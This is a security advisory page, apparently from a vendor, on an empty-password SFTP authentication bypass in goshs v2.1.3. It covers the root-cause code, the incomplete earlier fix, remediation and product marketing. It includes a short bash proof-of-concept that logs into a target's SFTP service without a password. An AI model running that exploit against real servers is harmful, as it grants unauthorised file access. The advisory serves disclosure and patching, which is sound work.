GHSA-rjrw-mjq6-hpmm is a critical-severity (CVSS 9.1) Missing Authentication vulnerability in github.com/patrickhener/goshs/v2. O3 Security confirms whether GHSA-rjrw-mjq6-hpmm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rjrw-mjq6-hpmm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-rjrw-mjq6-hpmm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 371,625 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/patrickhener/goshs/v2🐹goshs.de/goshs/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Start goshs v2.1.3 with -b 'admin:' -sftp. No -fkf. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (-b ':pass'). The empty-password variant bypasses that fix.
CVE-2026-40884
CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: -b ':pass' with -sftp. sftpserver.go:85 uses &&:
if s.Username != "" && s.Password != "" {
sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
}
}
Empty username → Username != "" false → PasswordHandler nil. No -fkf means PublicKeyHandler also nil. gliderlabs/ssh sees all handlers nil and sets NoClientAuth = true. Unauthenticated access.
Patrickhener fixed it with a sanity check at sanity/checks.go:114-118:
if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}
HasPrefix(":") catches empty username. It does not catch empty password.
Empty Password Bypass
Same && at sftpserver.go:85. Same nil handler. Different input:
goshs -b 'admin:' -sftp
Username = "admin",Password = ""Username != "" && Password != ""→ false. Password is empty.PasswordHandlernot set. No-fkf→PublicKeyHandlernot set.- gliderlabs/ssh →
NoClientAuth = true.
CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (&&) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.
PoC
#!/usr/bin/env bash
set -euo pipefail
HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"
echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=none,password \
-o PubkeyAuthentication=no \
-P "$PORT" -b - admin@"$HOST" 2>&1 && \
echo "[+] VULNERABLE: Connected without password!" || \
echo "[-] Connection failed (patched or not running)"
Root Cause
// Wrong: &&
if s.Username != "" && s.Password != "" {
// Correct: ||
if s.Username != "" || s.Password != "" {
&& blocks PasswordHandler when either field is empty. || installs it when either field is set.
Incomplete Fix
Patrickhener added HasPrefix(":") at sanity/checks.go:116. Two gaps remain:
&&still atsftpserver.go:85in v2.1.3- No
HasSuffix(":")check for empty password
Impact
- Unauthenticated SFTP file access (read, write, delete, rename)
- Same impact as CVE-2026-40884 via a different input
- Exploitable with
-b 'user:'and no-fkf
Affected
All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.
Recommended Fix
&&→||atsftpserver/sftpserver.go:85HasSuffix(":")check atsanity/checks.go- Shared auth handler setup for HTTP and SFTP code paths
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/patrickhener/goshs/v2 | ≥ 2.1.3&&< 2.1.4 | 2.1.4 |
| 🐹Go | goshs.de/goshs/v2 | ≥ 2.1.3&&< 2.1.4 | 2.1.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/patrickhener/goshs/v2 to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rjrw-mjq6-hpmm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rjrw-mjq6-hpmm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rjrw-mjq6-hpmm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rjrw-mjq6-hpmm in your dependencies?
O3 detects GHSA-rjrw-mjq6-hpmm across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.